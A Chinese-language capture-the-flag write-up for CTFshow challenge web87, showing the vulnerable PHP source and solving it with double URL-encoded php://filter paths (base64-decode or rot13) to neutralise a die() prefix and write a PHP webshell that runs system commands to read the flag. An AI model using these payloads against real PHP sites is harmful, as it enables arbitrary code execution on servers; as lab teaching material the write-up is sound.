CTFshow 文件包含 web87
目錄
- 源碼
- 思路
- 題解
- 題解一
- 題解二
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 21:57:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);}else{highlight_file(__FILE__); }思路
$file為寫入文件的路徑,進行了一次url解碼,而瀏覽器也要進行一次url解碼,所以我們對輸入的payload進行2次url編碼就可以繞過過濾
$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);"<?php die('大佬別秀了');?>".$content可知我們輸入的內容前面被塞上了<?php die('大佬別秀了');?>,如何繞過它執(zhí)行我們的php代碼是一個重點
題解
參考p神文章
https://xz.aliyun.com/t/8163
題解一
用base64 編碼
file=php://filter/write=convert.base64-decode/resource=flag.php
把寫入的內容base64解碼
content是寫入內容,要進行base64編碼 對應上面的偽協(xié)議解碼,而base解碼時,是4個一組,flag.php(要寫入的文件),寫入的內容<?php die('大佬別秀了');?>中只有phpdie會參與base64解碼,因為phpdie只有6個字節(jié),補兩個a就是8字節(jié)了
總結:我們要在content中寫入shell,然后base64編碼
content=<?php system('ls');?>
base64
content=PD9waHAgc3lzdGVtKCdscycpOz8+
寫入的文件內容
<?php die('大佬別秀了');?>PD9waHAgc3lzdGVtKCdscycpOz8+
這時候偽協(xié)議會進行對內容phpdiePD9waHAgc3lzdGVtKCdscycpOz8+base64解碼,phpdie只有6個字節(jié)要補2個字節(jié)
所以我們補2個a,content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
偽協(xié)議會base64解碼phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+
講的差不多了,回到正題
file進行2次ulr編碼
?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2566%256c%2561%2567%252e%2570%2568%2570 //php://filter/write=convert.base64-decode/resource=flag.phppost提交的content,base64編碼 補2個a
content=aaPD9waHAgc3lzdGVtKCdscycpOzs/Pg==
然后訪問flag.php
然后 base64編碼<?php system('tac fl0g.php');?>
content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==
拿到flag
題解二
用rot13
php://filter/write=string.rot13/resource=2.php
content用rot13編碼加密
訪問2.php,拿到flag
總結
get到新知識
總結
以上是生活随笔為你收集整理的CTFshow 文件包含 web87的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BJDCTF2020]EzPHP 1
- 下一篇: CTFshow 文件包含 web88